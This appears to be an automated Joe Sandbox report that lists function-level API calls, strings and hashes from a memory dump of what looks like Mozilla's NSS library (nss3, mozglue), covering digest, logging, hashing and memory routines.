Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,6CBD204A), ref: 6CC40864
Part of subcall function 6CC407A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CC40880
Part of subcall function 6CC407A0: TlsSetValue.KERNEL32(00000000,?,?,6CBD204A), ref: 6CC408CB
Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(?,?,6CBD204A), ref: 6CC408D7
Part of subcall function 6CC407A0: TlsGetValue.KERNEL32(?,?,6CBD204A), ref: 6CC408FB

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Value$K11_$DestroyPrivatecalloc$CriticalDoesEnterErrorFreeInternalItem_MechanismSectionSlotUnlockUtilZfree
String ID:
API String ID: 3936029921-0
Opcode ID: 71b65e054a3ac5ae4a4168478cde71c370992cae7f94d33da657cf5f5e27bc0c
Instruction ID: b28d79610b97a29b9ab73e02f6e8111f1cbfbcb962a1754f6b29cd097f0c2014
Opcode Fuzzy Hash: 71b65e054a3ac5ae4a4168478cde71c370992cae7f94d33da657cf5f5e27bc0c
Instruction Fuzzy Hash: AD518FB5E006099FDB00DF69D840AAFB7F9EF49318F144069E819A7700FB31ED118BA1

Function 6CC9ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6CC7CDBB,?,6CC7D079,00000000,00000001), ref: 6CC9AE10
EnterCriticalSection.KERNEL32(?,?,6CC7CDBB,?,6CC7D079,00000000,00000001), ref: 6CC9AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6CC7D079,00000000,00000001), ref: 6CC9AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6CC7CDBB,?,6CC7D079,00000000,00000001), ref: 6CC9AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6CC7CDBB,?,6CC7D079,00000000,00000001), ref: 6CC9AE7F
TlsGetValue.KERNEL32(?,6CC7CDBB,?,6CC7D079,00000000,00000001), ref: 6CC9AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6CC7CDBB,?,6CC7D079,00000000,00000001), ref: 6CC9AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CC7CDBB,?,6CC7D079,00000000,00000001), ref: 6CC9AEF1
free.MOZGLUE(6CC7CDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6CC7CDBB,?), ref: 6CC9AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6CC7CDBB,?,6CC7D079,00000000,00000001), ref: 6CC9AF30

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 9d525bb740e858a31e12267c1b47e659869367387db55ea87956cc43c7d3fcc5
Instruction ID: 0246a07da5bbc39b98f328e9b2ee035cde8e58e12766b5249a8cb00ccd3b8270
Opcode Fuzzy Hash: 9d525bb740e858a31e12267c1b47e659869367387db55ea87956cc43c7d3fcc5
Instruction Fuzzy Hash: 49518DB1E00602AFEB00DF29D884B6AB7B4BF45318F144264E91997E11F731E8A4CBE1

Function 6CC74CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6CC7AB7F,?,00000000,?), ref: 6CC74CB4
EnterCriticalSection.KERNEL32(0000001C,?,6CC7AB7F,?,00000000,?), ref: 6CC74CC8
TlsGetValue.KERNEL32(?,6CC7AB7F,?,00000000,?), ref: 6CC74CE0
EnterCriticalSection.KERNEL32(?,?,6CC7AB7F,?,00000000,?), ref: 6CC74CF4
PL_HashTableLookup.NSS3(?,?,?,6CC7AB7F,?,00000000,?), ref: 6CC74D03
PR_Unlock.NSS3(?,00000000,?), ref: 6CC74D10

Part of subcall function 6CCFDD70: TlsGetValue.KERNEL32 ref: 6CCFDD8C
Part of subcall function 6CCFDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CCFDDB4

PR_Now.NSS3(?,00000000,?), ref: 6CC74D26

Part of subcall function 6CD19DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CD60A27), ref: 6CD19DC6
Part of subcall function 6CD19DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CD60A27), ref: 6CD19DD1
Part of subcall function 6CD19DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CD19DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6CC74D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6CC74DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6CC74E02

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: ced8c30cd911ef2d34b40b122dcead1423a7de125c66e82037bb262903d83868
Instruction ID: 12cf7490a21f64e0d14541645c803d3bc835ad22f202a786080dc76bb8fca036
Opcode Fuzzy Hash: ced8c30cd911ef2d34b40b122dcead1423a7de125c66e82037bb262903d83868
Instruction Fuzzy Hash: 0241D8B5900605ABEB119F69ED80A6A77B8FF15258F0441B0ED18C7B11FB31D914CBF2

Function 6CCF4A70 Relevance: 15.1, APIs: 10, Instructions: 113memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(00000048,00000A20,0000032C,?,00000000,?,6CCEAEC0,00000A20,00000000), ref: 6CCF4A8B

Part of subcall function 6CCB0D30: calloc.MOZGLUE ref: 6CCB0D50
Part of subcall function 6CCB0D30: TlsGetValue.KERNEL32 ref: 6CCB0D6D

SECITEM_CopyItem_Util.NSS3(00000000,00000008,?,00000000), ref: 6CCF4AAA

Part of subcall function 6CCAFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CCA8D2D,?,00000000,?), ref: 6CCAFB85
Part of subcall function 6CCAFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CCAFBB1

PORT_Strdup_Util.NSS3(?,?,?,?,00000000), ref: 6CCF4ABD

Part of subcall function 6CCB0F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6CC52AF5,?,?,?,?,?,6CC50A1B,00000000), ref: 6CCB0F1A
Part of subcall function 6CCB0F10: malloc.MOZGLUE(00000001), ref: 6CCB0F30
Part of subcall function 6CCB0F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CCB0F42

SECITEM_CopyItem_Util.NSS3(00000000,00000020,?,?,?,?,?,00000000), ref: 6CCF4AD6
SECITEM_CopyItem_Util.NSS3(00000000,00000034,?,?,?,?,?,?,?,?,00000000), ref: 6CCF4AEC

Part of subcall function 6CCAFB60: PORT_Alloc_Util.NSS3(E0056800,00000000,?,?,6CCA8D2D,?,00000000,?), ref: 6CCAFB9B

SECITEM_ZfreeItem_Util.NSS3(00000020,00000000,?,?,?,00000000), ref: 6CCF4B49
SECITEM_ZfreeItem_Util.NSS3(-00000034,00000000,?,?,?,?,?,00000000), ref: 6CCF4B58
SECITEM_ZfreeItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,00000000), ref: 6CCF4B64
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CCF4B74
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 6CCF4B7E

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Util$Item_$Alloc_CopyZfree$freememcpy$ArenaStrdup_Valuecallocmallocstrlen
String ID:
API String ID: 476651045-0
Opcode ID: 637a4430b7fefc2460219f7fc47a75317b96945e1cc50ebcdc33ecd8c2080fa1
Instruction ID: 889b5fe67956796e79f16a500f34eec622971af16e1b93c4a154874e4658bb55
Opcode Fuzzy Hash: 637a4430b7fefc2460219f7fc47a75317b96945e1cc50ebcdc33ecd8c2080fa1
Instruction Fuzzy Hash: E731AEB56006019FD750CF65ED85AA77BB8EF08348F044569ED5AC7B02F732E90ACBA1

Function 6CC789C0 Relevance: 15.1, APIs: 10, Instructions: 84COMMON

Download Yara Rule

APIs

PK11_CreateDigestContext.NSS3(00000004,00000000,00000000,00000000,00000000,?,6CC7AE9B,00000000,?,?), ref: 6CC789DE
PK11_DigestBegin.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,6CC52D6B,?,?,00000000), ref: 6CC789EF
PK11_DigestOp.NSS3(00000000,57016AC6,034C08E8,?,00000000,?,?,?,?,?,?,?,?,?,?,6CC52D6B), ref: 6CC78A02
PK11_DestroyContext.NSS3(00000000,00000001,?,00000000,?,?,?,?,?,?,?,?,?,?,6CC52D6B,?), ref: 6CC78A11

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: K11_$Digest$Context$BeginCreateDestroy
String ID:
API String ID: 407214398-0
Opcode ID: 3375104fe0b288d4fa72bae3fcfbce0f59f946124d700bc8c5893e0fee50fe05
Instruction ID: 125e0af8679af500333a774348054641b6c9921a8be636ae4284960a7283a530
Opcode Fuzzy Hash: 3375104fe0b288d4fa72bae3fcfbce0f59f946124d700bc8c5893e0fee50fe05
Instruction Fuzzy Hash: FE112BF2E003015AFF2056656C81FBB3558EB507ACF080036EE09B9B42F722C899C2F2

Function 6CC52E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CC52CDA,?,00000000), ref: 6CC52E1E

Part of subcall function 6CCAFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CC59003,?), ref: 6CCAFD91
Part of subcall function 6CCAFD80: PORT_Alloc_Util.NSS3(A4686CCB,?), ref: 6CCAFDA2
Part of subcall function 6CCAFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CCB,?,?), ref: 6CCAFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CC52E33

Part of subcall function 6CCAFD80: free.MOZGLUE(00000000,?,?), ref: 6CCAFDD1

TlsGetValue.KERNEL32 ref: 6CC52E4E
EnterCriticalSection.KERNEL32(?), ref: 6CC52E5E
PL_HashTableLookup.NSS3(?), ref: 6CC52E71
PL_HashTableRemove.NSS3(?), ref: 6CC52E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6CC52E96
PR_Unlock.NSS3 ref: 6CC52EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC52EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC52EC5

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: eff0180f00fae5585613a9b0372ab225f4689b2b28e85cba231cf12a2a4b4f86
Instruction ID: d4894775c2e77d2ea2fdc821cfab159864d586ad31b9028944ca8df91651e1f8
Opcode Fuzzy Hash: eff0180f00fae5585613a9b0372ab225f4689b2b28e85cba231cf12a2a4b4f86
Instruction Fuzzy Hash: D421D7B2F00101ABFF011B65EC49A9A3AB9EB5235DF044430EE1896711F732D579D7A5

Function 6CBDCEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CBDB999), ref: 6CBDCFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CBDB999), ref: 6CBDD02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6CBDB999), ref: 6CBDD041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CBDB999), ref: 6CD2972B

Strings

database corruption, xrefs: 6CBDCFE7, 6CBDD013, 6CBDD028, 6CBDD039, 6CBDD03E, 6CD29786
%s at line %d of [%.10s], xrefs: 6CBDCFEC, 6CBDD018, 6CBDD029, 6CBDD03F, 6CD2978B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CBDCFDD, 6CBDD00E, 6CBDD022, 6CBDD033, 6CD29780

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 54665c406253911de406281b52ea1d685bf62697cb962a96f58cd353f894023c
Instruction ID: e94fbaaab0ca6a9953f9ec7bf85f27439b2031661eb193c0c8e0108a728c9266
Opcode Fuzzy Hash: 54665c406253911de406281b52ea1d685bf62697cb962a96f58cd353f894023c
Instruction Fuzzy Hash: E2615971A002509BD310CF29C840BA6B7F5EF85318F2945ADE5889FB92D377E947C7A1

Function 6CCDEF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6CCFA4A1,?,00000000,?,00000001), ref: 6CCDEF6D

Part of subcall function 6CCFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCFC2BF

htonl.WSOCK32(00000000,?,6CCFA4A1,?,00000000,?,00000001), ref: 6CCDEFE4
htonl.WSOCK32(?,00000000,?,6CCFA4A1,?,00000000,?,00000001), ref: 6CCDEFF1
memcpy.VCRUNTIME140(?,?,6CCFA4A1,?,00000000,?,6CCFA4A1,?,00000000,?,00000001), ref: 6CCDF00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6CCFA4A1,?,00000000,?,00000001), ref: 6CCDF027

Strings

dtls13, xrefs: 6CCDEF33

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 4f0aa4e8e9d4ab1afada6f54f60539e1b34c46fb384c588a3462ab1dc4f3bb55
Instruction ID: b8166848e3616f5f9611236b30997f610d8371a4ec3c44aa5038c2c2f180d723
Opcode Fuzzy Hash: 4f0aa4e8e9d4ab1afada6f54f60539e1b34c46fb384c588a3462ab1dc4f3bb55
Instruction Fuzzy Hash: F831C271A01211AFC710DF69DC80B9AB7E4EF49358F16802DEA189BB51E731F915CBE2

Function 6CC5AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CC5AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CD79500,6CC53F91), ref: 6CC5AFD2

Part of subcall function 6CCAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CD818D0,?), ref: 6CCAB095

DER_GetInteger_Util.NSS3(?), ref: 6CC5B007

Part of subcall function 6CCA6A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6CC51666,?,6CC5B00C,?), ref: 6CCA6AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CC5B02F
PR_CallOnce.NSS3(6CDB2AA4,6CCB12D0), ref: 6CC5B046
PL_FreeArenaPool.NSS3 ref: 6CC5B058
PL_FinishArenaPool.NSS3 ref: 6CC5B060

Strings

security, xrefs: 6CC5AFB8

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 64308486636f4c88e0f628ff2f02783e0a982dbf7ee0df2173eaeecd04a25969
Instruction ID: a207ffe58bbfb7bcbeb523c42894f8723091dda0cb239532a854cf4bb0efbe9b
Opcode Fuzzy Hash: 64308486636f4c88e0f628ff2f02783e0a982dbf7ee0df2173eaeecd04a25969
Instruction Fuzzy Hash: 4E315DB140430097D7108F24DC95BAA7BA4AFC632CF500619F9756BBD1F732912AC75B

Function 6CC82BF0 Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 66COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_GetMechanismInfo), ref: 6CC82C0C
PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6CC82C27

Part of subcall function 6CD609D0: PR_Now.NSS3 ref: 6CD60A22
Part of subcall function 6CD609D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CD60A35
Part of subcall function 6CD609D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CD60A66
Part of subcall function 6CD609D0: PR_GetCurrentThread.NSS3 ref: 6CD60A70
Part of subcall function 6CD609D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CD60A9D
Part of subcall function 6CD609D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CD60AC8
Part of subcall function 6CD609D0: PR_vsmprintf.NSS3(?,?), ref: 6CD60AE8
Part of subcall function 6CD609D0: EnterCriticalSection.KERNEL32(?), ref: 6CD60B19
Part of subcall function 6CD609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CD60B48
Part of subcall function 6CD609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CD60C76
Part of subcall function 6CD609D0: PR_LogFlush.NSS3 ref: 6CD60C7E

PR_LogPrint.NSS3( type = 0x%x,?), ref: 6CC82C40

Part of subcall function 6CD609D0: OutputDebugStringA.KERNEL32(?), ref: 6CD60B88
Part of subcall function 6CD609D0: memcpy.VCRUNTIME140(?,?,00000000), ref: 6CD60C5D
Part of subcall function 6CD609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,?,?), ref: 6CD60C8D
Part of subcall function 6CD609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD60C9C
Part of subcall function 6CD609D0: OutputDebugStringA.KERNEL32(?), ref: 6CD60CD1
Part of subcall function 6CD609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CD60CEC
Part of subcall function 6CD609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD60CFB
Part of subcall function 6CD609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CD60D16
Part of subcall function 6CD609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6CD60D26
Part of subcall function 6CD609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD60D35
Part of subcall function 6CD609D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6CD60D65
Part of subcall function 6CD609D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6CD60D70
Part of subcall function 6CD609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CD60D90
Part of subcall function 6CD609D0: free.MOZGLUE(00000000), ref: 6CD60D99

PR_LogPrint.NSS3( pInfo = 0x%p,?), ref: 6CC82C59

Part of subcall function 6CD609D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000001,00000000,?), ref: 6CD60BAB
Part of subcall function 6CD609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD60BBA
Part of subcall function 6CD609D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6CD60D7E

Strings

pInfo = 0x%p, xrefs: 6CC82C54
type = 0x%x, xrefs: 6CC82C3B
C_GetMechanismInfo, xrefs: 6CC82C07
slotID = 0x%x, xrefs: 6CC82C22

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

Associated: 00000000.00000002.2082896443.000000006CBD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083179639.000000006CD6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083243209.000000006CDAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083277272.000000006CDAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083344792.000000006CDB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2083380477.000000006CDB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cbd0000_file.jbxd

Similarity

API ID: DebugOutputStringfflush$Printfwrite$R_snprintf$CriticalCurrentEnterExplodeFlushR_vsmprintfR_vsnprintfSectionThreadTimefputcfreememcpy
String ID: pInfo = 0x%p$ slotID = 0x%x$ type = 0x%x$C_GetMechanismInfo
API String ID: 2688868551-112346095
Opcode ID: ba73e9ceeedc1eecff13d77116a3ae4ab60bb2e217e60eeb6a36cb65dcb0af74
Instruction ID: 7383b227cd9b94b3af32e983d869a113ef7d702bbef3b818f9fc8aaf5f2f2cc0
Opcode Fuzzy Hash: ba73e9ceeedc1eecff13d77116a3ae4ab60bb2e217e60eeb6a36cb65dcb0af74
Instruction Fuzzy Hash: FB2178B5702140EFFB009B55DD8CA567F79E74235DF088426EA09E7B61E7309C48CBA5

Function 6CC9CC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6CC9CD08
PK11_DoesMechanism.NSS3(?,?), ref: 6CC9CE16
PR_SetError.NSS3(00000000,00000000), ref: 6CC9D079

Part of subcall function 6CCFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCFC2BF

Memory Dump Source

Source File: 00000000.00000002.2082931015.000000006CBD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CBD0000, based on PE: true

